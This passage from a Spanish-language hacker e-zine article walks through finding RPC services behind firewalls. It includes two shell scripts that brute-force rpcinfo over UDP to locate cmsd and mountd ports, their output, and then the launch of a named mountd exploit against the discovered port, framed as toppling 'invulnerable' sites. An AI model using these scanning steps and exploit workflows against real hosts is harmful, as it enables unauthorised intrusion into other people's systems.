846 open tcp (status V1)
879 open tcp (mountd V1-3)
884 open tcp (mountd V1-3)
889 open tcp (mountd V1-3)
1024 open tcp unknown
Nmap run completed -- 1 IP address (1 host up) scanned in 7 seconds
-------------------------------------------------
Aunque como veis no ha sabido reconocer el nlockmgr en el puerto 1024, pero el
resto del trabajo es brillante.
En el caso de que el firewall hago un filtrado completo de todos los puertos,
siempre nos puede quedar la oportunidad de que no filtre udp. En este caso
procedemos igual, pero en este caso usamos la opcion -u (udp) del rpcinfo.
Veamos un ejemplo de este caso, un escaneador del servicio cmsd, que suele
usar puertos udp:
<++> rpc/csmb.sh
#!/bin/sh
# Uso: cmsb host port
L=$2
while [ $L -lt 100000 ]
do
echo $L
rpcinfo -n $L -u $1 100068
L=`expr $L + 1`
done
<-->
Y en accion:
-------------------------------------------------
$ cmsb 1.1.1.1 30000
=> Los puertos usados por el cmsd varian bastante mas que los usados por el
ttdbserver, y necesitamos hacer un barrido mas amplio.
30000
rpcinfo: RPC: Program unavailable
program 100068 version 0 is not available
[...]
32777
rpcinfo: RPC: Program unavailable
program 100068 version 0 is not available
32778
rpcinfo: RPC: Program unavailable
program 100068 version 0 is not available
32779
program 100068 version 2 ready and waiting
program 100068 version 3 ready and waiting
program 100068 version 4 ready and waiting
program 100068 version 5 ready and waiting
32780
rpcinfo: RPC: Unable to receive; errno = Connection refused
program 100068 version 0 is not available
32781
-------------------------------------------------
Bingo! puerto 32779! otro gigante caido...
Si estamos desorientados y no sabemos que RPC reside en un puerto determinado,
y no queremos hacer un script para cada servicio, siempre podemos averiguarlo
por fuerza bruta.
Aqui teneis un peque~o script para hacerlo:
<++> rpc/rpb.sh
#!/bin/sh
# Uso: rpb host port
L=100000
while [ $L -lt 100500 ]
do
echo $L
rpcinfo -n $2 -u $1 $L
L=`expr $L + 1`
done
<-->
Como veis usa udp, por si acaso, y va probando el codigo de servicio desde
el 100000 hasta el 100500. Veamoslo en accion:
-------------------------------------------------
$ rpb 1.1.1.1 890
100000
rpcinfo: RPC: Program unavailable
program 100000 version 0 is not available
100001
rpcinfo: RPC: Program unavailable
program 100001 version 0 is not available
100002
rpcinfo: RPC: Program unavailable
program 100002 version 0 is not available
100003
rpcinfo: RPC: Program unavailable
program 100003 version 0 is not available
100004
rpcinfo: RPC: Program unavailable
program 100004 version 0 is not available
100005
program 100005 version 1 ready and waiting
program 100005 version 2 ready and waiting
program 100005 version 3 ready and waiting
100006
rpcinfo: RPC: Program unavailable
program 100006 version 0 is not available
-------------------------------------------------
Perfecto, asi que en el puerto 890 tenemos el servicio 100005, miramos en el
/etc/rpc y resulta ser el mountd. Ahora si es un linux, solo queda usar
nuestro exploit favorito para el mountd.
-------------------------------------------------
$ humpdee
Usage: humpdee <hostname> <port> [spoofed src ip]
$ humpdee 1.1.1.1 890
-------------------------------------------------
Filtros a mi! ya! ;)
Despedida y cierre
~~~~~~~~~~~~~~~~~~
Parece curioso, sitios que antes parecian torreones invulnerables, imposibles
de penetrar, caen ahora como castillos de naipes, simplemente con unos
sencillos conocimientos y un par de scripts. Y es que el mundo de los RPC
esta muy poco explorado, pero es ampliamente prometedor para los hackers.
Como decia mi abuela, no hay nada seguro en esta vida...
Saludos
BT-BoY <el_maestr0@bigfoot.com>
*EOF*